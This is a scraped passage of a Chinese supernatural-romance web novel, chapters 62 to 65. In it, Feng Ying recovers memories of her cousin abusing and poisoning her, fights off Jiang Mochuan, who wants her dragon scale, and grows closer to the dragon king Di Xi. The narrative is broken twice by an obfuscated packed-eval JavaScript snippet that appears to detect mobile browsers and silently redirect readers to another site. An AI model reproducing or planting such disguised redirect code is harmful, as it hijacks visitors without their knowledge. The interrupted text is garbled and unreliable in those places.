弯腰插花的流苏突然腿上一软,倒在了我爸坟上。 我一惊,慌忙起身,来不及转身,手腕就被一只冰凉刺骨的大掌强势握住。 男人阴湿黏滞的嗓音似鬼魅低语,丝丝钻入我的耳中,“萦儿,你不听话。” 第62章 她是龙女,是财神爷! 我顿时头皮一麻,竖起全身汗毛! 是江墨川! 不服气地用力甩他,可没想到他的手就像狗皮膏药似地紧紧包裹在我腕上。 我越挣扎,他抓得越用劲。 “放开我!”我生气怒喝。 他还是不听,我忍无可忍索性从口袋里掏出我妈给的那张专避仙家的黄符。 他见到符纸,眸光一凛,恐慌地迅速收手。 “你又用这该死的符纸对付我!”他不甘地红了眼底,皱眉低吼。 我攥紧符纸赶忙往旁边迈开两步,拉开与他之间的距离,警惕道: “你都要伤害我了,我凭什么不能用黄符自保。” 江墨川咬牙厚颜无耻地不承认:“本尊没想伤你!本尊只是、来看看你罢了!” “你有那么好心?我不信!”我不假思索反呛回去。 江墨川恼怒抬头,想放狠话和我吵,但在视线对上我防备心极强的眼神后,嚣张气焰又不自觉敛下几分。 心里有鬼的错开与我交汇的目光,他咽了口口水,喉结轻滚, “那晚,你不该去赵家,你知不知道有多危险,你还替杨泽安挡剑,若不是本尊收得快你就……” 我冷嗤打断:“你当然害怕我去赵家了,毕竟如果那晚我不在,你就能替风柔夺走我的龙鳞了!” 他面上一红,神色更加心虚了,目光躲闪还试图颠倒黑白: “萦儿,本尊没想瞒你……本尊只是想着等东西到手再告诉你。” “东西到手,给风柔用了,再告诉我对吗?” 我冷笑着控诉: “先斩后奏,的确是你的一贯作风。 但是我告诉你,没有经过我允许就擅自拿我的东西使用,哪怕这东西不在我手上,也是偷! 你和风柔就是两个强盗小偷!你都给风柔用上了,再和我说有什么用?” “你何必,把话说得这么难听。” 江墨川自知理亏,压着嗓音强词夺理: “萦儿,柔儿的身体是因为你才受损的,她现在一到阴雨天就咳得彻夜难眠,她这辈子都不会再有孩子了,欠她的,你得还……” “还”字的尾音还没落,我的巴掌已经毫不犹豫扇了过去—— 啪的一声脆响,狠狠打偏了他的脑袋。 扇得我手掌疼。 “我还你大爷还! 风柔的身体是因为她爸妈不做人才冻伤的,她落下病根是爸妈见钱眼开在一间屋完全可以睡两个孩子的情况下非要把她撵去外面睡落下的,她这辈子不会再有孩子是你不行! 这么会道德绑架以后你俩生孩子没肚脐眼是不是也得怪在我头上! 江墨川,我警告你,以后再说我欠风柔的我听见一次扇你一次,这么爱风柔你怎么不把自己的鳞扒了给她?!” 我鼓起勇气破口大骂。 江墨川不敢相信的半晌才红着眼角转回头,但出乎我意料的是,他开口的第一句话却不是和我继续掰扯风柔,而是语气略带委屈的沉沉质问我: “风萦,你又打我?你从前,不是这样。那条妖龙到底对你做了什么,你从前根本舍不得对我动手!” 我气极反笑:“我那是舍不得吗?我那是看在你还有用的份上忍了!” “看来本尊不能再让你待在他身边了,本尊说过,等赵家的事解决完本尊就带你走,萦儿,现在跟本尊回去。” 他拽上我就要把我往风柔家的方向带。 我坚决反抗拼命挣扎:“你做梦!我和你现在已经没关系了!” 他五指攥得我腕骨生疼,恶狠狠地强势吼道: “你想要野仙借寿,本尊也可以借给你!萦儿,你只能是本尊的人! 乖乖跟着本尊回家,听话,回去后把那片龙鳞送给柔儿。 看在柔儿和你情同亲姐妹的份上,看在你从小就寄居在她家,分走她父母宠爱的份上,你就,让她一回!” “江墨川你不要睁眼说瞎话,她爸妈的宠爱给你你要不要!” “风萦!不要无理取闹!本尊知道你深爱本尊,这几年也确实是本尊忽略了你,但风柔她……本尊有必须要对她好的理由。 你若真爱我,就应该设身处地的为我考虑。风萦,本尊会慢慢教会你如何爱一个人的。 爱一个人的前提,就是得接受无条件为他付出全部。” “神经病你撒手!龙鳞不在我身上!” “萦儿,乖,本尊答应你,剥鳞时本尊会轻些的……” 我实在拽不回来自己的手腕,毫不犹豫就将我妈给的黄符一把按在了他的手背上—— 这是他逼我的! 黄符贴上他手背皮肤,顿时就威力强悍地在他皮肉上灼出一个狰狞血红大窟窿。 他被痛得立时尖叫,条件反射的猛用力甩开我。 我一个没留神就被他甩得重心不稳一头往地上摔去…… 他反应过来骇然惊叫:“萦儿!” 再抬手施法救我,已经迟了。 我的脑袋重重磕在一块大青石上,撞得我瞬间额头闷痛,两眼一黑,脑壳里的脑仁都快震移位了…… 头晕目眩的厉害,晕得我想吐。 “萦儿……”他匆匆赶来扶我,焦急道:“本尊、本尊不是有意的!” 然而,他扶我起身的这几秒钟……我的大脑内却有无数陌生画面飞速更迭。 走马观花般强行带我穿越时空拼凑那些遗失的过往—— 黄河、浊浪、蔷薇花…… 还有那一片片写满特殊文字、飘荡在水面上的枫树叶。 那一枚,从水里飘上来,会发光的紫色花瓣—— “我好想爸爸妈妈,是你吞了我爸爸吗,你为什么要吃我爸爸……我没有家人了,我好孤独,好害怕。” “你也孤独么……吾、没有吞你父亲。你是吾,唯一的朋友……” “你也被黄河吃了吗?” “算是吧。” “今天岸边的桃花开了,可美了,我画给你看,摘下一朵放在树叶上,不知道你能不能看见,要是看不见真桃花,那就看我画的桃花吧!” “今天有二百三十一条鱼从我身边游过,似乎天气不错,我在水中,看见了阳光。” “如果有一天,你上来了,记得找我,我带你晒太阳。” “若有那一天,我找你……” 黄河起浪,浊流从天而降,朝我倾压下来—— “不好了,风家那丫头被卷进黄河里了!” “这丫头怕是撞了邪……她大娘啊,你这几天费费心,去水边给这孩子烧几天纸,这孩子怕是得罪了河里神仙了!” “死丫头命真大,前天黄河起浪,村里另外一家的女娃子在河边网鱼也被卷进河里了,可惜没救上来!” “黄河龙女转世是有些说法啊,谭家两口子讲,她被卷进黄河,没多久,黄河自己把她吐上岸了…… 孩子她爹啊,咱们剥黄河龙女的鳞,真不会惹出什么事吗?” 年幼的我拿着鸡蛋去讨好风柔,却被风柔推倒在地。 “都怪你!你自己没有家吗,凭什么要来我家和我抢东西吃,抢床睡!” “你把鸡腿还给我,还给我啊!” “风萦,你个没爹没妈的野种!你爸死了,你妈跑了,你怎么不去黄河陪你爸!” “谁允许你动我房间东西的!我讨厌你,风萦,你怎么不去死啊——” 破碎的陶瓷小娃娃,满地的血渍。 我的手被她踩在锋利的碎瓷片上,鲜血直流。 “风柔,你又欺负你妹妹!死丫头,看我今天不打死你!” 大娘攥着鸡毛掸子把风柔追得满屋跑。 大伯捧起我的手,边给我缠纱布边生气责备: “这可是我们家的财神爷!你能不能看紧你闺女!” 大娘鸡毛掸子一甩窝火的红了眼: “孩子是我一个人的吗!我又不能一天二十四个小时盯着这个死丫头!谁知道她又跑进来和凤萦打架了!” 气急之下,脱了布鞋,拽住风柔耳朵把风柔按在长凳上使劲打。 “妈,你别打了,我疼,你别打了!”风柔吼得撕心裂肺。 大娘却越打越起劲: “都怪你这个死丫头!讨债鬼,这可是咱家的财神爷,咱们能不能发达就指望她了! 她是龙女,你是什么东西,你个小赔钱货,你说你没事总和她过不去干嘛,啊? 你把她打死了,你爸欠的一屁股债,把你卖了还吗!” “风萦,我和你势不两立!凤萦你这个扫把星,你凭什么来我家,凤萦你去死,去死!” “够了!”大伯一拳头把桌子砸得哐哐响,目眦欲裂的指着风柔怒道:“从今天开始,你滚去牛屋睡。” “我不,这是我的房间!我不去牛屋,要去也是她去!我才是亲生的!” “前天你把她推池塘里,要不是你妈就在附近洗衣服,你就把她闷水里淹死了! 昨天你差点用石头砸瞎她的眼,今天你又想毁了她的手,我们家以后能不能过上好日子全靠她呢。 有本事,你也能让咱们捞到金沙金块子,你也能给咱家赚钱啊! 她死了,我们全家一起喝西北风去!你今天不睡牛屋,我就抽死你,抽到你愿意搬过去为止!” “风萦,我恨死你了——” 那间牛屋,好像和记忆里的,不太一样…… “你别怨你爸,你爸也是为了咱们家的未来着想,风萦在咱家,你就权当做是家里养了只小猫小狗。 你的房间让给她睡,但你的被子床褥,我都给你拿过来了,还给你加了两层,你啊,打小就怕疼,家里的好被子当然要紧着你盖。 你别看我们给风萦盖的那床被子被面挺新,其实里面是你奶奶生前给你那个早死小姑做的寿被,里面塞得都是芦花和稻草,不软和,也不保暖。 咱家可没钱再给她打床好被子!” “可是妈,这屋里臭臭的,还闷得慌!” “乖啊柔儿,你忍一忍,等过一段时间她老实了,我再让你爸和她商量,让你搬回去!” 第63章 风柔隐瞒的真相 寒冬腊月,风柔却几乎夜夜不着家。 后来,风柔突然病倒了,连续发六七天高烧。 村里何郎中来给风柔看病,说风柔是风寒入体,伤了根本。 开了几副中药,让风柔先喝半个月驱驱寒,但何郎中又说,不保证以后不会留下病根…… “孩子她爹啊,不能再让孩子睡牛屋了,这一年来咱们养着那个小贱种,村里其他人都隔三岔五在河里捞出金子,唯有咱们家,一粒金色石子儿都没从河里捞出来! 咱们一分钱没捞着也就算了,还把柔儿冻成这样,不值啊! 长此以往,咱们岂不是在拿自家气运给别人做嫁衣!” “风萦,你要是敢把我前两个月夜里偷偷跑出去和几个小哥哥一起抓野鸡的事告诉我爸妈,我就告诉我爸妈你偷家里钱!” “我没有偷……堂姐,我没偷过大伯的钱。” “我才是爸妈的亲生女儿,我说是你偷的,就是你偷的!” “小萦,你柔姐是因为你才被冻伤身子的,你以后可要对她好点,毕竟她是因为你才留下的病根。” “小萦,小柔也在牛屋住大半年了,从今往后,你俩住在一个房间好不好?” “你有什么资格吃我家的鸡!我让你吃,让你吃!” 恶心发馊的鸡油糊了我一脸,我推开风柔,风柔却顺势往旁边的桌角一倒…… 磕破了脑袋。 大伯与大娘的责备声吵得我眼前发黑: “风萦,你怎么这么不懂事呢!不是让你好好和姐姐相处吗?” “你就是只白眼狼!我好吃好喝的供着你你却打我闺女! 风萦,你爹死了你妈不要你了,你在我家还敢这么嚣张,看我今天不抽死你……” “风萦,小柔要不是因为你怎么会被冻伤身子!你就是个鸠占鹊巢恩将仇报的畜生!” “你要是还想在家里待着,就给我老实点,我养你花了这么多钱,你是一点也不懂回报啊!” “供什么黄河龙女的牌位,供这么久一块金子都不给我送,都是赔钱货!” 那时候,我还不懂为什么风柔害怕我把她夜里偷偷跑出去找村里几个同龄男孩一起去林子里抓野鸡的事说出去…… 现在,我总算明白了。 “柔儿,你看,她身上真有龙鳞!我们发财了!” “有了这些龙鳞,以后咱们全家都能吃香喝辣了。” “死丫头破事真多,黄河起浪怎么不把她卷进去淹死呢……” “什么话?淹死了谁给咱们送钱! 昨天我还和城里那位大老板联系了,他们说过几天就来看货。 她死了,岂不是断了咱们的财路?” “哎呀风柔!你给她喝什么了!你怎么能把毒羊的草加进她的中药里?” “妈,她死了就不会有人和我争爸妈了……” “你是不是没脑子啊!她死了我哪来钱给你买肉吃买新衣服穿! 幸好灌得不多,还能救,孩她爹,弄点肥皂水来给她灌上,让她把刚喝下去的吐出来! 好在她发高烧烧死过去了,要不然这事被村长和村里人知道了,咱俩的老脸往哪搁啊!” “死丫头醒了后,好像脑子有点问题,以前不少事都不记得了……” “不记得也好,让小柔以后放聪明点,咱家还指望着她身上的龙鳞赚钱呢!” “小萦,你生病这段时间,是你姐一直在你床前照顾你。 你听话,打今儿起你们姐妹俩就好好在一起玩,再怎么说,咱们是一家人啊……” “小萦,我知道你疼,对不起,都是我爸妈不好,我爸妈不该剥你的鳞片…… 小萦,你要是生气,就咬我一口。是我对不起你……咳咳。” 好像也是从那时候开始,风柔就成了我记忆中弱不禁风头脑简单的样子。 而我也因为害风柔生病的事而怀疚在心很多年。 但,不对…… 中间我隐约想起来过一次。 可那会子,是江墨川再次施法抹去了我的那些记忆—— “风萦,那都是很多年前的事了,柔儿年纪小,不懂事,才让你受了委屈。 但这些话,我不能再给你以后说于别人听的机会…… 柔儿脸皮薄,我不能让你毁了柔儿。” 是了,他从一开始就知道风柔的病和我没关系,知道风柔为什么被赶去牛屋睡…… 但他还是用这两件事,帮风柔欺骗耍弄我四年! 我捂着脑袋反应迟钝的半晌才回神,江墨川扶着我的胳膊还在凝声唤我: “萦儿你怎么样了,没事吧?本尊不是有意……” 话没说完,我又一巴掌朝他脸上使劲扇了去—— 他这次被我扇得头一偏,一个趔趄。 我甩开他的脏手恶心道: “江墨川,你和风柔在我家颠鸾倒凤那晚,说的话我都听见了! 还有,再敢用我害风柔生病的理由绑架逼迫我做任何事,我就把风柔之前怎么给我下毒的事说给全村人听!” 他愣了下,心虚地乱了阵脚:“你、又想起来了!那晚,你都听见了……” 我咬牙一字一句地通知他: “我的鳞,你一片也别想得到! 江墨川,从今天开始,我们就是仇人,你有什么阴招尽管使出来,我不怕你!” “萦儿你听我说,那晚不是你想的那样……” 他不依不饶地再要抓我,反被我手腕上的连理花手绳给灼伤手指头。 他不服气地盯着我腕上手绳,眼角浸血:“又是他给你的!风萦,把他给的脏东西摘下来!” 我反骂道:“去死吧你!” “你给本尊考虑清楚了……” 他咬牙切齿地死死盯住我威胁: “那只龙妖不过是看上了你的血,他只是在利用你,你和他根本不会有结果! 风萦,你别玩太过火,本尊承认有些事,本尊委屈了你……但本尊别无他法。 柔儿她,曾有恩于本尊。 本尊今日不妨告诉你,本尊来槐荫村,本就是为了她。 本尊发过誓,要护她一辈子。 本尊对你也并非无情,你把那片龙鳞送给她,算是本尊欠你一回。 柔儿她此生不会有孩子,也不会影响你我相处,柔儿大度,愿意和你做一辈子姐妹。 你若肯通情达理些,本尊也会照顾你一辈子。 但你若不知好歹,哪天被那条龙妖骗得一无所有了,别怪本尊不要你!” 原来江墨川来槐荫村之前就认识风柔了,他是专门来找风萦的…… 难怪他从刚见到风柔开始,就护着风柔。 我不耐烦地讥讽道: “你没长脑子吗,你算什么东西,我会脑残到为了你把龙鳞送给别人的地步吗? 不给就是不给,别说你需要龙鳞治风柔的病了,就算你要龙鳞救你的狗命,我也不给!” 懒得再和他废话,我晃了晃胳膊上的手绳, “你说,我现在把你口中的龙妖摇过来,告诉他,你骂他,他会不会再打断你几根肋骨?” “你!”他忌惮地后退两步,愤愤挥开袖袍,贼心不死的留下一句:“这是你逼本尊的。” 说完转身化作黑雾散了去。 他走后,我正好留意到不远处的树林子里也闪过一道白色身影。 是风柔。 骗了我这么多年,风大年全家都不是好东西! 我摸摸头上被磕出来的包,忍着疼把昏倒的流苏拉起来。 撑着她一步步赶回家。 幸好我爸的坟地离家不算远,流苏这小身板也不重。 把她带回去不难。 半个小时后,我气喘吁吁地推开家里院门。 在院子里打太极的风震野见流苏情况不对,忙迎上来接过我怀里的女孩。 仙家们从牌位内飞出来,在我这听完刚才发生的所有事后,一个个脸色都不大好。 “所以,小萦失忆,是被风柔给毒的?” “小萦那时候本就失去了第一片鳞,身子正是虚弱关头,又掉进水里被淹被吓一回,发了高烧。 还被风柔灌了毒药,最后被风大年灌了一肚子肥皂水。 啧啧,小萦这条命已经算耐造的了!” “风柔被寒风吹坏身体,其实是因为她小时候夜夜偷偷跑出去抓野鸡?这锅甩得好啊!” “更过分的是,死蛟一直都知道真相,却还用风柔身体弱的事当理由道德绑架小萦……无耻至极!亏我们从前还信了。” “想起来也好,至少从现在开始,你不用再对风柔一家子心软了。” 柳云衣用胳膊肘碰了碰胡玉衡:“风柔对死蛟有恩的事,你有听说过吗?” 胡玉衡沉着俊脸摇头:“没有,我从前只以为,江墨川单纯是喜欢风柔那样,柔柔弱弱会勾人的那款。” “我也没听说过。” 沈沐风双臂环胸琢磨道: “死蛟这是把咱们所有人都算计进去了,他来槐荫村就是为了找风柔的,装作不认识风柔,也是为了忽悠咱们跟着他一起叛离小萦,去风柔身边。 他这是在替风柔收买人心,想帮风柔成为咱们几个的主人没成功,这才又给风柔编了个黄河娘娘转世身份。” “这垃圾。” 蟒仙生气道: “当初你们就不该拦着我打死那条死蛟! 五年前我如果把他打死了,小萦就不会选中他,让他如愿以偿恢复自由了。” 余惊云好奇道:“江墨川的事,月隐大……知道吗?” 苏月隐,是我妈的名字。 当初也是我妈把他们几个带回来的。 说起这个我也挺好奇的, “我妈当初,是怎么把你们收集起来的? 还有,你们能不能告诉我,我妈当年到底去哪了?” 几位仙家互看一眼,像是有什么难言之隐,纷纷假装咳嗽。 后来还是胡玉衡站出来充当话事人,解释道: “你父亲死后,你母亲痛不欲生,承受不住爱人过世的打击,起了轻声殉情的念头,跳黄河自尽了……” 仙家们看起来都很忙,但又不知道在忙些什么,要么昂头看屋顶,要么假装研究折扇。 “幸好你母亲命大,被一位过路的高人救了,高人见你母亲颇有灵性,就把你母亲带去深山里做关门弟子了。” 我妈消失那几年,是跟着高人去学法术了? 这个理由勉强还能说得过去。 但我忽然看见—— 胡玉衡的尾巴……伸出来了! 旁边的柳云衣余光无意一扫,顿时白了脸。 手忙脚乱地把胡玉衡刚伸出来的尾巴尖尖抓住,重新塞回去。 他们……在骗我。 第64章 他的唇,好甜…… 胡玉衡这家伙,还是改不了一说谎就控制不住露尾巴的习惯。 不过看他们这么拼命地掩饰真相,我只能假装什么也没看见,不再继续追问。 反正他们也不会告诉我实情,能和我说的话,他们不会憋到现在。 “原来是这样啊,怪不得我妈一走就是十来年。”我低头用凉毛巾敷额上的包。 柳云衣塞完胡玉衡的尾巴,闷咳着说: “当年,你母亲找到我们时,我们都处于即将魂飞魄散的紧要关头,是你母亲用牌位收走了我们的魂魄,这才给了我们一线生机。” **仙闷叹道: “你母亲讲,她有个小女儿,才十来岁大,是龙女转世,可偏偏命中多劫,被人剥了龙鳞,还病得卧床不起。 她既心疼,又后悔…… 我们九个,都是你母亲为你挑选的未来夫君,她救下我们那天就和我们明白说过,她需要我们为你续命。 她可以保我们魂魄不散,但她的女儿从我们九个里选中谁,谁就要将自己的寿元借给她的女儿,并且得发誓一生一世护好她的女儿,不得欺负背叛她的女儿。 作为交换,谁被选中,谁就可以脱离牌位的约束,恢复自由,她的女儿会助他重塑肉身。” “你妈前前后后跑了几十座城市,才收集到符合她要求的咱们九个。” 白仙剥开一根香蕉感慨说: “你妈妈,她很疼爱你。不管是以前那个还是现在……反正小萦你别多想! 你妈只是性子冷,她还没有习惯……咳,总之你是她的心头宝。 她这几年明面上瞧着像不管你,其实背地里,她一直在默默关心着你的一举一动。” “要不是当年为了收集咱们九个损了太多修为,江墨川早被你妈揍服了。 不过,这也是你命中的劫,你是龙女转世,注定无法和常人一样一辈子平平静静地过日子。” 我当然知道我妈疼我,她要是真不在意我的生死,就不会在我**墨川算计走投无路寿数将近时立马出现,给我准备好嫁衣凤冠,送我去嫁帝曦了。 她看似撒手不管我的感情状态,哪怕知道江墨川在利用我、瞧不上我,也只会冷冷告诉我,自己做的选择,就要承担后果。 可后来我身边发生的一切,又像是都在她掌控中。 我告诉她江墨川和风柔结婚了,她也没有流露出一丝惊讶。 仿佛早就清楚了所有前因后果。 要不是血玉棺是从黄河里突然冲上来的…… 我都怀疑她是不是早就盯上帝曦,就等江墨川作死悔婚这一天了! 我妈,好像真和记忆里的那个母亲不一样了。 胡玉衡不放心地负手叮嘱我: “江墨川这次没能如愿拿到小萦的鳞片,临走又明确告诉小萦他不会善罢甘休,看来他还有损招等着小萦。 这段时间小萦你可千万得当心,万不能让江墨川抓住机会抢走了你的鳞。 凡人无法消化你鳞片的力量,所以哪怕你的鳞被卖给了别人,别人也不能将你的鳞完全占为己有。 但江墨川可以,他能用妖力令你的鳞片融化于风柔体内,与风柔彻底融合。 鳞片在其他人手里,你还有把它找回来的机会,落入江墨川手里,鳞片力量被吸收,本体就消散了。 那可真是肉包子打狗,有去无回!” 我点点头:“我明白,鳞片我会保护好的。” 胡玉衡和我说完话就进屋照顾苏苏去了,我拿着凉毛巾捂住额头,等仙家们相继回到牌位内,才出门呼吸新鲜空气。 外面又下起了淅沥小雨,我站在玉灵花树下,昂头看花藤垂下的串串花苞。 伸手捧起一串,凑近点看……喃喃自语: “前两天花苞的状态就是这样,怎么今天还这样? 这花不会是在岸上水土不服吧?就开了寥寥两朵…… 明明别人家的紫藤花开得可快了。” 一道寒风拂至我身后,悄然现身的帝曦语气稍显不自在:“你、总得给它慢慢适应的时间。” 我捧着花串哦了声,乖乖收回手。 见他出来了,我迫不及待和他分享真相:“小时候的事,我想起来了。” “嗯,本王知道。” “我是不是很没出息,被一个莫须有的罪名忽悠了十来年。 还对从前欺负伤害过我的人心怀愧疚,恨不得把自己有的、最好的一切都补偿给她……” “这些,顶多只能算你一根筋,心思简单,低估了人性的恶。” 我讨好地往他身边挪挪,轻声逗他:“你说,你是不是老天爷赐给我的幸运神?” 他闻言垂眸扫我,端着龙王架子故作高冷道: “那你,以后可得将本王这尊幸运神好生供着,伺候着。” “那自然是必须的。” 我看着檐外的丝丝春雨,歪头,胆大地把脑袋枕在他肩上,顺手挽住了他胳膊: “不管未来,咱们会不会一拍两散,分道扬镳,我这辈子都不会忘记你…… 龙仙大人在我生命中,是不一样的存在,独一无二。 哪怕以后你走了,我余生再想起你,怕也只会感叹一句,世上再无第二个你。” 他沉默半晌,问我:“你今日、怎么了?为何说的话,如此不着调。” “哪有不着调。” 我无奈说: “你是第一个坚定告诉我,那些事不是我的错的人。我感激你不是人之常情吗?” “那是因为你遇见过的人太少。” 他深沉道:“不要将任何人当成救赎,他能成为你的救赎,也能成为刺向你的那把刀。” 我只当没听见他扫兴的话,从口袋里也掏出一条手绳,红线并着两缕金丝线编成简单的平安绳,给他戴在腕上。 “清明过后就是端午了,这期间属于阴阳交替的时节,给你戴条平安绳,保平安健康的!” 他愣愣抬手,看着胳膊上新戴的那条赤金手绳,一时恍惚。 片刻,他放下手臂,深深看了我一眼,犹豫着说: “本王今日要下黄河,回龙、族一趟,查些事情。” 我哦了声,问他:“那你晚上还回家吃饭吗?” 他负手在腰后,道:“应该回来。不过,若本王赶不回来,你无需等本王,无需担忧。” 我重重点头:“那你注意安全。” 他平静地回了个嗯,又默了良久,心情莫名愈发浮乱。 我感受到自己胸膛内的那颗心再次有了异常情绪,立马反应过来是他的问题。 “你的心,为什么乱成这样?”我不明所以地指了指自己胸口。 他放眼看向院外的阴沉天空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的怀抱,清凉却安全感十足,被他吻,我竟然一点也不排斥。 甚至相融以沫时,我也会臭不要脸脑子里冒出来一句:他好甜…… 完了,我是不是被他的盛世神颜给迷惑了心智! 我难道是个好色的人? 我一直以为颜控和好色不能画等号的! 越亲,越有些沉沦,怎么办…… 我刚才其实想说,我今天正好要用血供养柳云衣胡玉衡他们,我胳膊上的刀口还没愈合,还能挤两滴血给他呢! 我的血,不比我体内的什么力量好用么! 可现在,情况完全失控了。 不过,此情此景又勾得我不禁在心里感慨—— 他要是早出现几年,就真没有江墨川什么事了。 江墨川只是那双眼好看,但龙仙大人,整张脸都好看! 他今天,似是在顾及些什么……没之前吻得蛮横了。 唇瓣碾转间,竟生出了几分缠绵的意味。 我哽了哽,被他吻了将近三分钟,手慢慢不听使唤环在了他的窄腰上。 拥抱他的感觉,过于熟悉,简直诡异。 我下意识昂头,乖乖献上自己给他索取…… 眼角余光无意从他耳畔扫过,却神奇地发现他身后那瀑布般的紫水玉灵花藤上,点点花苞相继绽放,舒展花瓣,化作一只只灵动蹁跹的雨中紫蝶。 玉灵花,开花了! 感应到我的走神,他陡然目光游离地心虚放开我。 迅速拂袖转身,没好气地吓我: “你若喜欢放血,大可告诉本王,本王成全你,让你此生能如愿做一具黄河干尸!” 第65章 故人的牌位 黄河、干尸…… 我搓搓胳膊上冒起来的鸡皮疙瘩立马婉拒: “不不不,不用了!我的梦想是拥有很多很多钱,不是当干尸。” 他耳根泛红地别过头不看我, “本王、方才只是用你恢复修为,没有别的意思,你、不可乱想!” 我哦了声,轻轻嘀咕:“我没有乱想啊,我又不是不懂你的意思。” 他剑眉微拧,闷咳两声,缓了缓,施法变出一样东西,塞给我:“拿着!” 我接到手里一看,才发现是枚漂亮的紫水晶小扇贝吊坠。 “这吊坠真好看!” 我欣喜地晃了晃,扇贝内竟随着我的摇晃发出几道清脆空灵,贯入灵魂的悦耳铃音,“这是个铃铛吗?” 帝曦嘴硬心软道: “连理花手绳内有本王注入的灵力,可为你抵挡其他妖物的攻击,乃是防御型灵物。 而这枚扇贝吊坠,铃音可穿水破界,若本王不在你身边时,你又惹了事,遇见危险自己处理不了,就晃动这枚扇贝,此铃一响,无论本王身在何处都能听见。 不过你给本王老实些,非命悬一线生死关头不可轻易晃动此铃给本王添麻烦。 本王只要听见铃音就会立马赶回来救你,届时你最好真有事! 不然,本王随时可收了此传音铃。” “哦。”敢情是害怕我将这吊坠当玩具玩了,有事没事晃两下吵死他。 不过,有一说一,他现在的样子…… 好像占到别人便宜吃了别人豆腐一抹嘴转身就走的、渣男啊…… 哎,虽然我清楚他不是。 不让我随便摇铃铛大概是害怕我“狼来了”玩多了,等真正需要他的时候他分辨不出来了…… “你是因为今天要出门,担心我的安危,所以才把这枚扇贝吊坠送给我的吗?” 我捧着铃铛厚脸皮歪头凑过去问。 他冷脸不承认: “想多了,你把自己看得太重要了。 本王只是在确保本王的契人不会在本王毫无防备时把自己作**。 风萦,本王需要你,才不会让你死。 但你不要挑战本王的耐心,就算你我之间有共生契,你**也不会对本王造成太大损失,最多修为迟两年恢复。 本王千万年都等得起,何况区区两年。” 语气是挺冷,说的也不是人话。 但我知道他心里不是这么想的。 他就是纯嘴硬。 我把他给的铃铛收起来,“我知道了,你放心,我不会乱摇铃铛误了你办事。今晚我等你到九点,九点不回来我就先睡了!” 我扭头要走,他却抓住我手腕,再将自己的法力往手绳上多注入些。 俊脸染上几分酡红,他装作冷漠无情: “传音铃只会在你用力晃动时才会响,你放心随身携带。 本王就走这一天,不许再给本王惹事!” 哎这人啊,不还是放心不下我嘛。 我不要脸地故意贴过去,挽住他的胳膊夹着嗓子逗他:“哎呦大王~这么舍不得人家吗,要不然今晚,不走了?” 他顿时被我逗得俊脸一青,嫌弃的拂袖扔掉我,尴尬得急了眼:“赶紧滚。” 我噗嗤笑出声,听话地朝他挥手:“好嘞大王,我滚了。今晚早点回家,等你哦!” 他的身影僵在了花树下。 等我进卧房打开窗,却发现本该站在窗外的他已经走了。 这么快就走了……也好。 早去早回嘛。 我掏出口袋里他给的紫水晶扇贝铃铛,这才有时间细看这样小玩意。 紫水晶吊坠上不但清晰勾勒着扇贝外壳的每一道沟壑,壳口处还绘着两串金色神秘符文。 那符文一笔一画如河水汤汤,河浪粼粼,还真像专属水族灵物的文字。 我深叹口气,小心摇晃着扇贝吊坠不让它发出动静,闷声自语: “分明就是关心我,怕我一个人在家**墨川算计了,还扯什么怕我给你惹事…… 不许我惹事,我也惹了不少次。帝曦,和我说实话,我又不会恃宠而骄。 你这口不对心的性子,也就只有我才忍得了你。没办法,谁让我风萦善解人意呢!” —— 下午,我拎着一篮萝卜去姥姥家找我妈。 我妈五年前从外面回来后就不愿意和我住在一块,一个人搬去了姥姥家的空房子生活。 也没有个人作伴,大概真是我爸的离世给她造成了太大打击,才令她悲伤过度性情大变…… 记忆中,我幼年时期的妈妈很爱笑,一双眼睛明媚清澈。 喜欢和村里同龄女人一起挖野菜、编柳环、光脚下黄河摸虾。 那时候的妈妈爱热闹,总是抱着我满村串门子。 她和村里婶子们坐在一块打毛衣时,我就乖乖蹲在她身边玩树叶,捏泥巴。 除了我爸被人从黄河里打捞上来的那天,我从没见她哭过…… 小时候的妈妈最怕孤独,我爸的尸体被装进棺材放在家里停灵那两天,她推开我爸的棺材三次,哭着喊着要进去陪我爸。 她抓着我爸被泡烂掉的手,一遍又一遍哭着问我爸: “你走了,我怎么办。风平,你不是说好要守我一辈子的吗。” 而现在,曾经那个最怕孤独的妈妈孑然一人躲进了阴冷破旧的小屋子。 也许,只有在她从小长到大的这个家里生活,才能让她不那么孤寂。 至少姥姥家还有她和姥姥舅舅共同生活过的痕迹。 我们家,除了我……已经没有任何可值得她留念的了。 有我爸的地方,才是她的归处。 就像村长说的那样,一个女人失去丈夫,就只有回到父母膝下这一个归宿。 姥姥家我并不常来,因为我隐隐能感觉到,我妈并不想见到我。 上次过来还是去年元宵节,我来给妈送汤圆。 今年再来,我妈上一个春天往门口种的两棵石榴树都长到两米高了。 妈把姥姥家的院子打理得很干净,门前那片空地种满了好几个品种的月季花。 我妈心细,都说月季娇贵不好养,爱长虫生病烂根,我妈种的这片月季却一年比一年枝繁叶茂,花骨朵打得多,花开得大。 推开篱笆门,我随手把萝卜放在地上,跑去月季丛里闻花香。 可惜花香没闻着,却先嗅到了一阵浓得刺鼻的香火味。 我好奇昂头,抬眼就看见堂屋东侧睡屋微敞的木窗缝里挤出袅袅青烟—— 是我妈在屋里给姥姥舅舅上香烧纸吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17431815|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我从花丛里站起身,走到窗前,正想掰开窗户往屋内看…… 手刚扶上窗框,就听我妈在屋内轻声念叨了一句:“我不会让你白死的,阿隐。” 阿隐? 我透过冒烟的窗缝看进去,只见屋内的供桌上,端放着一副黑漆牌位,牌位顶上搭着掀起的红布。 屋里浓烟氤氲,黄纸在铁盆里被风刮得翻飞。 三炷香**香炉,刚烧了一半。 奇怪,我刚才明明听见我妈的声音了,为什么没见到她的影子? 